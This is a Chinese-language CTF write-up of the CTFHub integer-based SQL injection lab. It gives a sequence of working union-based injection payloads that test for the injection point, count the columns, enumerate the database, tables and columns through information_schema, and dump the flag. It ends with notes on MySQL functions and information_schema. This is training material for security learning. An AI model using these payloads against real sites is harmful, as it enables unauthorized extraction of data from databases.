SQL注入学习记录 CTFHub SQL注入 整数型注入

首先进入界面可以看见这样:
SQL注入学习记录 CTFHub SQL注入 整数型注入
很明显输入框就是注入口,分别输入1,1 and 1=1,1 and 1=2
SQL注入学习记录 CTFHub SQL注入 整数型注入SQL注入学习记录 CTFHub SQL注入 整数型注入SQL注入学习记录 CTFHub SQL注入 整数型注入
后者返回值与前两者不同,说明存在注入点。
然后通过order by x找出该数据表的字段数量,输入1 order by 11 order by 2,返回结果相同,输入1 order by 3返回结果不同,证明字段数为2。
SQL注入学习记录 CTFHub SQL注入 整数型注入SQL注入学习记录 CTFHub SQL注入 整数型注入SQL注入学习记录 CTFHub SQL注入 整数型注入
然后通过union注入,输入-1 union select 1,2,回显结果:
SQL注入学习记录 CTFHub SQL注入 整数型注入
说明在-1 union select 1,2中,1,2的位置都能回显。
所以输入-1 union select 1,database(),爆出数据库名:
SQL注入学习记录 CTFHub SQL注入 整数型注入
得到数据库名sqli,接着输入-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli',爆出sqli库中的表名:
SQL注入学习记录 CTFHub SQL注入 整数型注入
得到表名news和flag,很明显flag就在表flag中。
然后输入-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag',爆出列名:
SQL注入学习记录 CTFHub SQL注入 整数型注入
得到列名flag,最后输入-1 union select 1,group_concat(flag) from sqli.flag,爆出字段内容:
SQL注入学习记录 CTFHub SQL注入 整数型注入
拿到flag!

知识点

一、常用函数

1、database():当前网站使用的数据库
2、version():当前MySQL版本
3、user():当前MySQL的用户

二、MySQL默认有“information_schema”的数据库,该库中有三个表名:

1、SCHEMATA:存储该用户创建的所有数据库的库名,记录库名的字段为SCHEMA_NAME。
2、TABLES:存储该用户创建的所有数据库的库名和表名,记录库名和表名的字段为TABLE_SCHEMA和TABLE_NAME。
3、COLUMNS:存储该用户创建的所有数据库的库名、表名和字段名,库名、表名和字段名为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME。

三、union注入

union操作符将两个SQL查询语句连接了起来,当设置id参数为-1时,由于没有id=-1的数据,因此会返回union后的查询语句的结果。